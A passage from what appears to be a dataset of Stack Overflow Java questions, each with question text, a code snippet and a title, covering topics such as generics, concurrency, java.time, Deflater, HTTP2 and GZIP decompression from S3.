) ; } ) ) ; } // Wait for all spawned threads for ( Thread thread : threads ) { thread.join ( ) ; } } protected Thread run ( Runnable runnable ) { Thread thread = new Thread ( runnable ) ; thread.start ( ) ; return thread ; }",OrientDB concurrent graph operations in Java +Java,"So I have purchased the book `` Java for Dummies '' 4th Edition , and I must say it is probably the best 30 dollars I have ever spent on a book . I 'm not new to coding , am actually fairly decent at at it if I say so myself.However , I 've come across a line of code that has me a touch confused : My question comes up on the third line , the if ( ! n.equals ( `` '' ) ) part ... I know how if loops work ( ie : if ( this == that ) { do stuff } ) , but I 've not seen the ! n.equals ( `` '' ) set up before . Can anyone please explain it to me ? PS : Just to throw in a guess . Is it the same as : I think it 's just a way to make sure that if the user does n't type in a name ( ie . myAccount.setName = `` '' ; ) it does n't kick back an error and runs like normal , but I was n't sure.Thanks in advance for the help ! EDIT : changed my `` myAccount.name = `` '' ; '' to `` myAccount.setName = `` '' ; '' , sorry about the confusion.THANK YOU : Goes to Asaph , appreciate the answer ! Same to Lucas Aardvark , he answered as well , but Asaph answered my verification comment in his own answer first , thanks to everyone !",public void setName ( String n ) { if ( ! n.equals ( `` '' ) ) { name = n ; } } public void setName ( String n ) { if ( n ! = `` '' ) { name = n } },A line of java code and what it does ? +Java,"I 've come across many questions in regards of Java8 in-built Functional Interfaces , including this , this , this and this . But all ask about `` why only one method ? '' or `` why do I get a compilation error if I do X with my functional interface '' and alike . My question is : what is the existential purpose of these new Functional Interfaces , when I can use lambdas anyway in my own interfaces ? Consider the following example code from oracle documentation : OK , great , but this is achievable with their own example just above ( an interface with a single method is nothing new ) : I can pass a lambda to both methods . 1st approach saves me one custom interface . Is this it ? Or are these standard functional interfaces ( Consumer , Supplier , Predicate , Function ) are meant to serve as a template for code organization , readability , structure , [ other ] ?","// Approach 6 : print using a predicate public static void printPersonsWithPredicate ( List < Person > roster , Predicate < Person > tester ) { for ( Person p : roster ) { if ( tester.test ( p ) ) { System.out.println ( p ) ; } } } // Approach 5 : public static void printPersons ( < Person > roster , CheckPerson tester ) { for ( Person p : roster ) { if ( tester.test ( p ) ) { System.out.println ( p ) ; } } } interface CheckPerson { boolean test ( Person p ) ; }",Purpose of Functional Interfaces in Java8 +Java,"I have a problem with the following code : With JDK 8 until update 11 , this code compile.With JDK 8 update 20 , it does not compile anymore . In the last statement , I have to explicitly specify the String type argument for the last HashSet instantiation.I was wondering if I am wrong with this code or if it is a regression in the last JDK update .","public static < T > T firstNonNull ( @ Nullable T first , @ Nullable T second ) { return first ! = null ? first : second ; } public static Set < String > getStrings ( ) { return new HashSet < > ( ) ; } public static Set < String > doesNotCompile = firstNonNull ( getStrings ( ) , new HashSet < > ( ) ) ;",Is there a type inference regression in JDK 8 update 20 ? +Java,"If I have something like : How can I capture T 's class so I can instantiate it ? Are there workarounds to prevent type erasure ? I do n't even need to have access to T 's methods , X 's will do just fine , but I need to return a T .",class Test < T extends X > { public T test ( ) { T t = /* ... */ ; return t ; } },Capture generic type in Java +Java,"In the java.time framework of Java 8 and later , the Duration class says : This class models a quantity or amount of time in terms of seconds and nanoseconds . It can be accessed using other duration-based units , such as minutes and hours . In addition , the DAYS unit can be used and is treated as exactly equal to 24 hours , thus ignoring daylight savings effects.Yet when I call the get method and pass ChronoUnit.DAYS , an exception is thrown . Exception in thread `` main '' java.time.temporal.UnsupportedTemporalTypeException : Unsupported unit : DaysAm I misunderstanding something , or misusing the classes ?","LocalTime start = LocalTime.of ( 0 , 0 , 0 ) ; // First moment of the day.LocalTime stop = LocalTime.of ( 2 , 0 , 0 ) ; // 2 AM.Duration duration = Duration.between ( start , stop ) ; long days = duration.get ( ChronoUnit.DAYS ) ;",Duration does not support DAYS contrary to class documentation +Java,"I 'm trying to use the Google Games turn based Api for my Android game . The code I use to connect my GoogleApiClient comes from Google 's Api samples or documentation.Inside of my implementation of onConnectionFailed I have tried two separate approaches : The first approach above comes from the TBMP Skeleton sample . This results in a dialog being created with the messageFailed to sign in . Please check your network connection and try again.and the connection is never made.In the second approach it ends up calling startResolutionForResult which passes RESULT_SIGN_IN_FAILED to onActivityResult . From the documentationResult code sent back to the calling Activity when signing in fails.The attempt to sign in to the Games service failed . For example , this might happen if the network is flaky , or the user 's account has been disabled , or consent could not be obtained.This puzzles me since I have no problems getting the sign in flow to work in a sample . However , in my game I am never prompted to select a Google account before the sign in fails.For the record I 've tried all the steps here https : //developers.google.com/games/services/android/troubleshooting and it still fails.How can I resolve this error in order to sign in ?","if ( signInClicked || autoStartSignInFlow ) { autoStartSignInFlow = false ; signInClicked = false ; resolvingConnectionFailure = true ; // Attempt to resolve the connection failure using BaseGameUtils . // The R.string.signin_other_error value should reference a generic // error string in your strings.xml file , such as `` There was // an issue with sign-in , please try again later . '' if ( ! BaseGameUtils.resolveConnectionFailure ( this , apiClient , connectionResult , RC_SIGN_IN , R.string.signin_other_error ) ) { resolvingConnectionFailure = false ; } } if ( connectionResult.hasResolution ( ) ) { // https : //developers.google.com/android/guides/api-client under 'Handle connection // failures ' . I do n't know if this is solving the problem but it does n't lead to // 'please check your network connection ' message . try { if ( LoggerConfig.ON ) { Log.e ( TAG , `` onConnectionFailure , attempting to startResolutionForResult . `` ) ; } resolvingConnectionFailure = true ; connectionResult.startResolutionForResult ( this , REQUEST_RESOLVE_ERROR ) ; } catch ( IntentSender.SendIntentException e ) { // There was an error with the resolution intent . Try again . if ( LoggerConfig.ON ) { Log.e ( TAG , `` onConnectionFailure , there was an error with resolution intent '' ) ; } apiClient.connect ( ) ; } }",GoogleApiClient Sign In Fails +Java,"How can I implementwhich works just like ConcurrentHashMap < String , V > except that the keys are compared case-insensitively ? The keys should not be converted to lowercase or uppercase.Note that Collections.synchronizedMap ( new TreeMap < String , new MyCaseInsensitiveComparator ( ) ) is no solution as it allows no concurrency and misses the additional methods.Creating a String-like class with case-insensitive equals and hashCode is no option either , since the map has to be passed to methods expecting strings as keys .","class CaseInsensitiveConcurrentMap < V > implements ConcurrentMap < String , V >",How to make a CaseInsensitiveConcurrentMap ? +Java,Here is the following code : andI can not understand why static protected field is accessible though A in different package ...,package ab : public class A { protected static int var = 10 ; protected int var2 = 20 ; } package cd ; public class C extends A { A test ; public C ( ) { test = new A ( ) ; } void printValues ( ) { System.out.println ( A.var ) ; //this is perfectly visible System.out.println ( test.var2 ) ; // here I get error saying var2 is not visible } },Why protected static fields are visible from different class in Java +Java,"As a current task , I need to calculate eigenvalues and eigenvectors for a 120*120 matrix . For start , I tested those calculations on a simple 2 by 2 matrix in both Java ( Apache Commons Math library ) and Python 2.7 ( Numpy library ) . I have a problem with eigenvector values not matching , as show below : Output of eigenvectors are shown as { real_value + imaginary_value ; real_value + imaginary_value } : Same code in Python , but using Numpy library : Output of eigenvectors in Python are shown similarly , [ real+imag real+imag ] : My concern is , why are those vectors different ? Is there something that I am missing ? Ty for any kind of help or advice","//Javaimport org.apache.commons.math3.linear.EigenDecomposition ; import org.apache.commons.math3.linear.MatrixUtils ; import org.apache.commons.math3.linear.RealMatrix ; public class TemporaryTest { public static void main ( String [ ] args ) { double [ ] [ ] testArray = { { 2 , -1 } , { 1 , 1 } } ; RealMatrix testMatrix = MatrixUtils.createRealMatrix ( testArray ) ; EigenDecomposition decomposition = new EigenDecomposition ( testMatrix ) ; System.out.println ( `` eigenvector [ 0 ] = `` + decomposition.getEigenvector ( 0 ) ) ; System.out.println ( `` eigenvector [ 1 ] = `` + decomposition.getEigenvector ( 1 ) ) ; } //Java outputeigenvector [ 0 ] = { -0.8660254038 ; 0 } eigenvector [ 1 ] = { 0.5 ; 1 } # Pythonimport numpy as npfrom numpy import linalg as LAw , v = LA.eig ( np.array ( [ [ 2 , -1 ] , [ 1 , 1 ] ] ) ) print ( v [ : , 0 ] ) print ( v [ : , 1 ] ) [ 0.35355339+0.61237244j 0.70710678+0.j ] [ 0.35355339-0.61237244j 0.70710678-0.j ]",Difference in calculating eigenvectors wih Java and Python +Java,"This is so stupid , I am certain I will be stabbing myself with a wet kipper in a few minutes..I have this method , the purpose of which is to determine if a particular path in the assets folder is a subfolder . It 's used in a recursive search to find files in assets.The problem is that it is always returning false . When I step through the code , I can see that .list ( ) returns a non-zero value for a subfolder both from the logcat output and from evaluating .list ( ) at a breakpoint . When I step through the method , the current execution point correctly hits `` return true ; '' but when I hit F7 to continue ( I 'm using IDEA ) , the execution point jumps to the last statement , `` return false ; '' , which is the value returned . ( I 'm embarrassed to be asking ) . Why ? [ EDIT ] Request to show how I 'm calling it - this method is not finished as I ca n't get the above to work ! [ MORE EDITS ] Logcat : Here 's a screenshot . The first breakpoint ( return true ; ) is hit first . Continue stepping jumps straight to the last statement , return false , which is what is returned . This is NOT an exception . The exception breakpoint is never hit , and I do n't expect it ever will , and as you can see from the logcat , the control flow seems wrong.I do n't know how it looks in Eclipse , but here the red lines are breakpoints and the blue line is the current execution point.I 've cleared the caches , deleted the file index , deleted the output folders and done a complete rebuild .","private static boolean isDirectory ( AssetManager assetManager , String path ) throws IOException { // AssetManager.list ( ) returns a string array of assets located @ path // if path is a file , then the array will be empty and have zero length // if path does not exist , then an IOException is raised // ( ignore the exception as in theory , this will never happen // since this is called by the searchAssets recursive find ) // do nothing for uninitialised or empty paths if ( path==null || path.equals ( `` '' ) ) { return false ; } try { if ( DEBUG ) { Log.d ( TApp.APP_TAG , path + `` lists `` + assetManager.list ( path ) .length + `` assets '' ) ; } if ( assetManager.list ( path ) .length > 0 ) { return true ; } } catch ( IOException e ) { // do nothing - path should always exist but in any case , there is nothing we can // do so just throw it back up throw e ; } return false ; } public static String searchAssets ( AssetManager asm , String path , String filename ) { // TODO uses hard coded path separator // search for the file , filename , starting at path path in the assets folder // asm must be initialised by the caller using an application context // returns an empty string for non existent files or for filename = `` '' if ( asm==null ) { return `` '' ; } String foundFile ; // return value try { // get a list of assets located at path String [ ] files = asm.list ( path ) ; // files may be null if an invalid path is passed if ( files ! =null & & files.length > 0 ) { // loop through each asset for either a subfolder to search // recursively or the file we are looking for for ( String file : files ) { // < < < < < < HERE 'S THE CALL > > > > > > > if ( isDirectory ( asm , path + `` / '' + file ) ) { foundFile = searchAssets ( asm , file , filename ) ; // recurse this subfolder // searchAssets returns either the name of our file , if found , or an empty string if ( ! foundFile.equals ( `` '' ) ) { return foundFile ; } } else { if ( file.equals ( filename ) ) { return path + `` / '' + file ; } } } } } catch ( IOException e ) { // eat the exception - the caller did not set us up properly } return `` '' ; } 09-27 09:21:12.047 : DEBUG/GRENDLE ( 2811 ) : harmonics_data/Harmonic Data SHC lists 2 assets09-27 09:21:12.137 : DEBUG/GRENDLE ( 2811 ) : harmonics_data/Harmonic Data SHC is a subfolder , returning true09-27 09:21:12.544 : DEBUG/GRENDLE ( 2811 ) : harmonics_data/Harmonic Data SHC is a not a subfolder , returning false",Why does this boolean method use the wrong return path ? +Java,"Please , help to understand ExecutorService # awaitTermination ( timeout ) behaviour.I 'm observing situation when I have in my code : Does the tasks in pool complete in this case before any other calls after shutdownAndAwaitTermination ( ) in same thread ? Looking into what is happening on production , I believe that the answer is no , but I just want to understand how to make sure that any code placed after call to shutdownAndAwaitTermination ( ) will happen after last task in pool completes.Thanks .","private void shutdownAndAwaitTermination ( ExecutorService threadPool ) { threadPool.shutdown ( ) ; try { if ( ! threadPool.awaitTermination ( threadPoolTimeout , TimeUnit.HOURS ) ) { threadPool.shutdownNow ( ) ; if ( ! threadPool.awaitTermination ( 60 , TimeUnit.SECONDS ) ) { logger.warn ( `` Pool did not terminate '' ) ; } } } catch ( InterruptedException ie ) { threadPool.shutdownNow ( ) ; Thread.currentThread ( ) .interrupt ( ) ; } }",Does awaitTermination in ExecutorService `` happens-before '' any code executed after it ? +Java,"QuestionWhy does VisualVM terminate my program when attempting to view object allocation stack trace , and how do I fix it ? I 'm cleaning up an application which has a few memory problems , the biggest being creating a bunch of short-lived int [ ] which causes GC to fire like crazy : When I right click int [ ] and choose Take Snapshot and Show Allocation Stack Traces , my application closes and a warning box pops up saying Failed to obtain results snapshot . The application terminated : The closest thing I found on the subject was a bug report which recommended running my profiled application with -Xnoclassgc . It did n't work , the results were the same.SpecsCrash log http : //pastebin.com/a4YPWutjThe size of the crash log exceeded the character limit , so I had to place it elsewhere . Sorry .","VisualVM : 1.8.0_60 ( Build 1380-140910 ) ; platform 20140910-unknown-revnJava : 1.8.0_60 ; Java HotSpot ( TM ) 64-Bit Server VM ( 25.60-b23 , mixed mode ) Eclipse : Luna Release ( 4.4.0 ) Build id : 20140612-0600System : Windows 7 ( 6.1 ) Service Pack 1 , amd64 64bit",Prevent program from crashing when showing allocation stack traces +Java,"Possible Duplicate : intern ( ) behaving differently in Java 6 and Java 7 On this blog I found interesting String puzzles : -- - Quote -- -prints under Java 7 update 7.String object the same is : truebut uncomment the `` test '' .length ( ) ; line , or run with Java 6 and it printsString object the same is : false -- - EoQ -- -Being honest I do n't understand why the outputs are different . Could you please explain me what 's the cause of such behaviour ?","String te = `` te '' , st = `` st '' ; // '' test '' .length ( ) ; String username = te + st ; username.intern ( ) ; System.out.println ( `` String object the same is : `` + ( username == `` test '' ) ) ;",String intern puzzles +Java,"Is the returned iterator guaranteed to provide the values a , b , c in that order ? I 'm aware toArray ( ) and collect ( ) guarantee collections with values in the correct order . Also , I 'm not asking how to make a stream from an iterator .","Stream.of ( a , b , c ) .parallel ( ) .map ( Object : :toString ) .iterator ( ) ;",iterator ( ) on parallel stream guarantee encounter order ? +Java,"Suppose I have an interface that supports a few potential operations : Now , some instances will only support one or the other of these operations . They may support both . The client code wo n't necessarily know until it actually gets one from the relevant factory , via dependency injection , or wherever it is getting instances from.I see a few ways of handling this . One , which seems to be the general tactic taken in the Java API , is to just have the interface as shown above and have unsupported methods raise UnsupportedOperationException . This has the disadvantage , however , of not being fail-fast - client code ca n't tell whether doFoo will work until it tries to call doFoo.This could be augmented with supportsFoo ( ) and supportsBar ( ) methods , defined to return true iff the corresponding do method works.Another strategy is to factor the doFoo and doBar methods into FooFrobnicator and BarFrobnicator methods , respectively . These methods would then return null if the operation is unsupported . To keep the client code from having to do instanceof checks , I define a Frobnicator interface as follows : Alternatively , FooFrobnicator and BarFrobnicator could extend Frobnicator , and the get* methods possibly be renamed as*.One issue with this is naming : the Frobnicator really is n't a frobnicator , it 's a way of getting frobnicators ( unless I use the as* naming ) . It also gets a tad unwieldy . The naming may be further complicated , as the Frobnicator will be retrieved from a FrobnicatorEngine service.Does anyone have any insight into a good , preferably well-accepted solution to this problem ? Is there an appropriate design pattern ? Visitor is not appropriate in this case , as the client code needs a particular type of interface ( and should preferably fail-fast if it ca n't get it ) , as opposed to dispatching on what kind of object it got . Whether or not different features are supported can vary on a variety of things - the implementation of Frobnicator , the run-time configuration of that implementation ( e.g . it supports doFoo only if some system service is present to enable Foo ) , etc.Update : Run-time configuration is the other monkey wrench in this business . It may be possible to carry the FooFrobnicator and BarFrobnicator types through to avoid the problem , particularly if I make heaver use of Guice-modules-as-configuration , but it introduces complexity into other surrounding interfaces ( such as the factory/builder that produces Frobnicators in the first place ) . Basically , the implementation of the factory that produces frobnicators is configured at run-time ( either via properties or a Guice module ) , and I want it to make it fairly easy for the user to say `` hook up this frobnicator provider an this client '' . I admit that it 's a problem with potential inherent design problems , and that I may also be overthinking some of the generalization issues , but I 'm going for some combination of least-ugliness and least-astonishment .","interface Frobnicator { int doFoo ( double v ) ; int doBar ( ) ; } interface Frobnicator { /* Get a foo frobnicator , returning null if not possible */ FooFrobnicator getFooFrobnicator ( ) ; /* Get a bar frobnicator , returning null if not possible */ BarFrobnicator getBarFrobnicator ( ) ; } interface FooFrobnicator { int doFoo ( double v ) ; } interface BarFrobnicator { int doBar ( ) ; }",What is a good design for an interface with optional components ? +Java,My database contains the following table : table : class : sample table rows : When I retrieve a country using the following CrudRepository : First scenario : It will give me the following result in my rest api : Second scenario : It will give me the following result in my rest api : Third scenario : It will give me the following result in my rest api : I have also inspected the same behavior using the debugger and found my object in memory actually have the same behavior.What I Want : I want the returned data to be the same case as in database .,"country { code varchar ( 255 ) not null primary key } ; @ Entitypublic class Country { @ Id @ Column ( name = `` code '' ) private String mCode ; public String getCode ( ) { return mCode ; } public void setCode ( String code ) { mCode = code ; } } | code || -- -- -- || USA || UK | public interface CountryRepository extends CrudRepository < Country , String > { } mRepository.findOne ( `` USA '' ) { `` code '' : `` USA '' } mRepository.findOne ( `` UsA '' ) { `` code '' : `` UsA '' } mRepository.findOne ( `` Usa '' ) { `` code '' : `` Usa '' }",Entity retrieved from database with same case as in query +Java,"I 'm seeing a strange situation with small output buffers with Java 8u45 and the java.util.Deflater.deflate ( byte [ ] b , int off , int len , int flush ) method when used with small output buffers . ( I 'm working on some low level networking code related to WebSocket 's upcoming permessage-deflate extension , so small buffers are a reality for me ) The example code : In the above case , I 'm attempting to generate compressed bytes for the input `` Hello '' using an output buffer of 5 bytes in length.I would assume the following resulting bytes : Which translates asHowever , when Deflater.deflate ( ) is used with a small buffer , this normal loop continues infinitely at 5 bytes of compressed data ( seems to only manifest at buffers of 5 bytes or lower ) .Resulting output of running the above demo ... If you make the input/output larger than 5 bytes then the problem seems to go away . ( Just make the input string `` Hellox '' to test this for yourself ) Results of making the buffer 6 bytes ( input as `` Hellox '' ) Even these results are bit quirky to me , as it seems there 's 2 deflate tail-byte sequences present.So , I guess my ultimate question is , am I missing something about the Deflater usage that making thing odd for me , or is this pointing at a possible bug in the JVM Deflater implementation itself ? Update : Aug 7 , 2015This discovery has been accepted as bugs.java.com/JDK-8133170","package deflate ; import java.nio.charset.StandardCharsets ; import java.util.zip.Deflater ; public class DeflaterSmallBufferBug { public static void main ( String [ ] args ) { boolean nowrap = true ; Deflater deflater = new Deflater ( Deflater.DEFAULT_COMPRESSION , nowrap ) ; byte [ ] input = `` Hello '' .getBytes ( StandardCharsets.UTF_8 ) ; System.out.printf ( `` input is % , d bytes - % s % n '' , input.length , getHex ( input,0 , input.length ) ) ; deflater.setInput ( input ) ; byte [ ] output = new byte [ input.length ] ; // break out of infinite loop seen with bug int maxloops = 10 ; // Compress the data while ( maxloops -- > 0 ) { int compressed = deflater.deflate ( output,0 , output.length , Deflater.SYNC_FLUSH ) ; System.out.printf ( `` compressed % , d bytes - % s % n '' , compressed , getHex ( output,0 , compressed ) ) ; if ( compressed < output.length ) { System.out.printf ( `` Compress success '' ) ; return ; } } System.out.printf ( `` Exited compress ( maxloops left % d ) % n '' , maxloops ) ; } private static String getHex ( byte [ ] buf , int offset , int len ) { StringBuilder hex = new StringBuilder ( ) ; hex.append ( ' [ ' ) ; for ( int i = offset ; i < ( offset + len ) ; i++ ) { if ( i > offset ) { hex.append ( ' ' ) ; } hex.append ( String.format ( `` % 02X '' , buf [ i ] ) ) ; } hex.append ( ' ] ' ) ; return hex.toString ( ) ; } } buffer 1 [ F2 48 CD C9 C9 ] buffer 2 [ 07 00 00 00 FF ] buffer 3 [ FF ] [ F2 48 CD C9 C9 07 00 ] < -- the compressed data [ 00 00 FF FF ] < -- the deflate tail bytes input is 5 bytes - [ 48 65 6C 6C 6F ] compressed 5 bytes - [ F2 48 CD C9 C9 ] compressed 5 bytes - [ 07 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] compressed 5 bytes - [ FF 00 00 00 FF ] Exited compress ( maxloops left -1 ) input is 6 bytes - [ 48 65 6C 6C 6F 78 ] compressed 6 bytes - [ F2 48 CD C9 C9 AF ] compressed 6 bytes - [ 00 00 00 00 FF FF ] compressed 5 bytes - [ 00 00 00 FF FF ] Compress success",Deflater.deflate and small output buffers +Java,"After executing this line : A thread labeled `` WifiManager '' will show up . In the Java source file for WifiService.java line 203 : Problem is , every time our app is closed and reopened it creates a new thread , run it 5 times and you have 5 threads . Not sure if there is anyway to stop it ? EDITChanged to getApplicationContext to make sure the context it was accessing was consistent and all was well . I still get a thread labeled `` WifiService , '' but I only get one thread over multiple runs .",WifiManager man = ( ( WifiManager ) ctx.getSystemService ( Context.WIFI_SERVICE ) ) ; HandlerThread wifiThread = new HandlerThread ( `` WifiService '' ) ; wifiThread.start ( ) ; mWifiHandler = new WifiHandler ( wifiThread.getLooper ( ) ) ;,Android WifiManager Thread never shuts down +Java,"Forgive me if this is a stupid question , but as far as I know , all Java exceptions must be caught and handled.For example , something like this would create a compiler error : Because the method foo ( ) did n't add a throws clause.However , this example would work ( unless either the method foo ( ) did n't have a throws clause or the method bar ( ) did n't surround usage of foo ( ) in a try/catch block ) : At the end , sometimes a Java program still sometimes crashes due to an unhandled exception.How does this happen ?",public String foo ( Object o ) { if ( o instanceof Boolean ) { throw new Exception ( ) ; } return o.toString ( ) ; } public String foo ( Object o ) throws Exception { if ( o instanceof Boolean ) { throw new Exception ( ) ; } return o.toString ( ) ; } public void bar ( Object o ) { try { String s = foo ( o ) ; } catch ( Exception e ) { // ... } // ... },How can Java programs crash when exceptions must always be caught ? +Java,"A lot of Java resource usage examples look like this : The declaration of r has to be outside of the try-clause to be visible in the finally-clause , but this also makes it look like there 's a potential race condition : what if there 's a thread interruption right between the openResource ( ) -call and entering the try-clause ? Could that mean that the resource does n't actually get closed in that scenario ? Or does Java guarantee that the try-finally covers r `` fully '' , despite the syntax looking like it would n't ? Or do I have to write : in order to protect against thread interruptions ?",Resource r = openResource ( ) ; try { // use resource } finally { r.close ( ) ; } Resource r = null ; try { r = openResource ( ) ; // use resource } finally { if ( r ! = null ) r.close ( ) ; },Java try-finally race condition ? +Java,"I want to pass through the result of one operation with next element in the loop . Is there any elegant way of doing this in Java 8 ? For example , in Ruby , we can use inject .","String result = `` '' ; for ( String str : strings ) { result = apply ( result , str ) ; } return result ; strings.inject ( `` '' ) { |s1 , s2| apply ( s1 , s2 ) }",Elegant way of doing ruby inject in Java 8 +Java,Imagine that you need to save Child and to send his ID to the some external system . In DDD you will save child with code similar to this : Of course child.getId ( ) will return null because it is not in persistence context . Any idea how this case should be handled in DDD ?,public class AggregateRoot { private Integer id ; private Set < Child > children ; } public class Child { private Integer id ; private String name ; } AggregateRoot aggregateRoot = aggregateRootRepository.getById ( id ) ; Child child = new Child ( ) ; child.setName ( `` Sun '' ) ; aggregateRoot.addChild ( child ) ; aggregateRootRepository.save ( aggregateRoot ) ; externalService.postSavedChildId ( child.getId ( ) ) ;,DDD find out ID of child element after saving with Hibernate +Java,"I 've seen a lot of methods where a new class is instantiated in a lambda method reference but ca n't seem to understand why . When is the new keyword needed in a method reference ? For example , the following passes compilation : But this does n't :",UnaryOperator < String > stringToUpperCase = String : :toUpperCase ; UnaryOperator < String > stringToUpperCase = new String ( ) : :toUpperCase ;,`` new '' Keyword In Java Lambda Method Reference +Java,"I want to run two threads one after the other , without using sleep ( ) or Locks , but a deadlock happens ! What 's wrong with my code ? I used wait ( ) and notifyAll ( ) and an Object object .",public class Test { public static void main ( String [ ] args ) throws InterruptedException { PrintChar a = new PrintChar ( ' a ' ) ; PrintChar b = new PrintChar ( ' b ' ) ; Thread ta = new Thread ( a ) ; Thread tb = new Thread ( b ) ; ta.start ( ) ; tb.start ( ) ; } } class PrintChar implements Runnable { final Object o = new Object ( ) ; char ch ; public PrintChar ( char a ) { ch = a ; } @ Override public void run ( ) { for ( int i = 0 ; i < 100 ; i++ ) { synchronized ( o ) { System.out.print ( ch ) ; try { o.wait ( ) ; o.notifyAll ( ) ; } catch ( InterruptedException ex ) { } } } } },Java wait and notify makes deadlock +Java,I have not been able to find any great examples to outline using Java 's new HTTP2 support.In previous versions of Java ( Java 8 ) I was making many calls to a REST server using multiple threads . I had a global list of parameters and I would go through the parameters to make different sorts of requests.For example : In the previous code what I would do is construct multiple HTTP requests to the same server with just a little change in the parameter . This took a while to complete so I even would break up the work using threads so that each thread would work on some chunk of the param array.With HTTP2 I would now not have to create a brand new connection every time . The problem is I do not quite understand how to implement this using the new versions of Java ( Java 9 - 11 ) .If I have an array param as I do previously how would I do the following : Essentially I am looking for an example to do what I was doing previously but now utilizing HTTP2.Regards,"String [ ] params = { `` param1 '' , '' param2 '' , '' param3 '' ... .. `` paramSomeBigNumber '' } ; for ( int i = 0 ; i < params.length ; i++ ) { String targetURL= `` http : //ohellothere.notarealdomain.commmmm ? a= '' + params [ i ] ; HttpURLConnection connection = null ; URL url = new URL ( targetURL ) ; connection = ( HttpURLConnection ) url.openConnection ( ) ; connection.setRequestMethod ( `` GET '' ) ; //Send request DataOutputStream wr = new DataOutputStream ( connection.getOutputStream ( ) ) ; wr.writeBytes ( urlParameters ) ; wr.close ( ) ; //Get Response InputStream is = connection.getInputStream ( ) ; BufferedReader rd = new BufferedReader ( new InputStreamReader ( is ) ) ; //Do some stuff with this specific http response } 1 ) Re-use the same connection ? 2 ) Allow different threads to use the same connection ?",Java - Making multiple requests using HTTP2 +Java,"I 'm trying to update the last modified date of a specific folder , here 's what I 've got : I am just putting this code in a test case so do n't worry about calling this method etc.I 'm getting errors with the parsing that date format as a long , what 's the format used in setting the last modified date & time ?",public void touchFolder ( ) { File folderToTest = new File ( `` C : \\Temp '' ) ; SimpleDateFormat dateFormatUtc = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ss '' ) ; dateFormatUtc.setTimeZone ( TimeZone.getTimeZone ( `` UTC '' ) ) ; String newTime = dateFormatUtc.format ( new Date ( ) ) ; folderToTest.setLastModified ( Long.parseLong ( newTime ) ) ; },How do I touch a folder with current time using set last modified date & time ? +Java,"QuestionSee updated question in edit section belowI 'm trying to decompress large ( ~300M ) GZIPed files from Amazon S3 on the fly using GZIPInputStream but it only outputs a portion of the file ; however , if I download to the filesystem before decompression then GZIPInputStream will decompress the entire file.How can I get GZIPInputStream to decompress the entire HTTPInputStream and not just the first part of it ? What I 've Triedsee update in the edit section belowI suspected a HTTP problem except that no exceptions are ever thrown , GZIPInputStream returns a fairly consistent chunk of the file each time and , as far as I can tell , it always breaks on a WET record boundary although the boundary it picks is different for each URL ( which is very strange as everything is being treated as a binary stream , no parsing of the WET records in the file is happening at all . ) The closest question I could find is GZIPInputStream is prematurely closed when reading from s3 The answer to that question was that some GZIP files are actually multiple appended GZIP files and GZIPInputStream does n't handle that well . However , if that is the case here why would GZIPInputStream work fine on a local copy of the file ? Demonstration Code and OutputBelow is a piece of sample code that demonstrates the problem I am seeing . I 've tested it with Java 1.8.0_72 and 1.8.0_112 on two different Linux computers on two different networks with similar results . I expect the byte count from the decompressed HTTPInputStream to be identical to the byte count from the decompressed local copy of the file , but the decompressed HTTPInputStream is much smaller.OutputSample CodeEditClosed Stream and associated Channel in demonstration code as per comment by @ VGR.UPDATE : The problem does seem to be something specific to the file . I pulled the Common Crawl WET archive down locally ( wget ) , uncompressed it ( gunzip 1.8 ) , then recompressed it ( gzip 1.8 ) and re-uploaded to S3 and the on-the-fly decompression then worked fine . You can see the test if you modify the sample code above to include the following lines : URL rezippeds3 points to the WET archive file that I downloaded , decompressed and recompressed , then re-uploaded to S3 . You will see the following output : As you can see once the file was recompressed I was able to stream it through GZIPInputStream and get the entire file . The original file still shows the usual premature end of the decompression . When I downloaded and uploaded the WET file without recompressing it I got the same incomplete streaming behavior so it was definitely the recompression that fixed it . I also put both files , the original and the recompressed , onto a traditional Apache web server and was able to replicate the results , so S3 does n't seem to have anything to do with the problem.So . I have a new question.New QuestionWhy would a FileInputStream behave differently than a HTTPInputStream when reading the same content . If it is the exact same file why does : new GZIPInputStream ( urlConnection.getInputStream ( ) ) ; behave any differently than new GZIPInputStream ( new FileInputStream ( `` ./test.wet.gz '' ) ) ; ? ? Is n't an input stream just an input stream ? ?","Testing URL https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gzTesting HTTP Input Stream direct to GZIPInputStreamTesting saving to file before decompressionRead 87894 bytes from HTTP- > GZIPRead 448974935 bytes from HTTP- > file- > GZIPOutput from HTTP- > GZIP saved to file testfile0.wet -- -- -- Testing URL https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00040-ip-10-31-129-80.ec2.internal.warc.wet.gzTesting HTTP Input Stream direct to GZIPInputStreamTesting saving to file before decompressionRead 1772936 bytes from HTTP- > GZIPRead 451171329 bytes from HTTP- > file- > GZIPOutput from HTTP- > GZIP saved to file testfile40.wet -- -- -- Testing URL https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698541142.66/wet/CC-MAIN-20161202170901-00500-ip-10-31-129-80.ec2.internal.warc.wet.gzTesting HTTP Input Stream direct to GZIPInputStreamTesting saving to file before decompressionRead 89217 bytes from HTTP- > GZIPRead 453183600 bytes from HTTP- > file- > GZIPOutput from HTTP- > GZIP saved to file testfile500.wet import java.net . * ; import java.io . * ; import java.util.zip.GZIPInputStream ; import java.nio.channels . * ; public class GZIPTest { public static void main ( String [ ] args ) throws Exception { // Our three test files from CommonCrawl URL url0 = new URL ( `` https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gz '' ) ; URL url40 = new URL ( `` https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00040-ip-10-31-129-80.ec2.internal.warc.wet.gz '' ) ; URL url500 = new URL ( `` https : 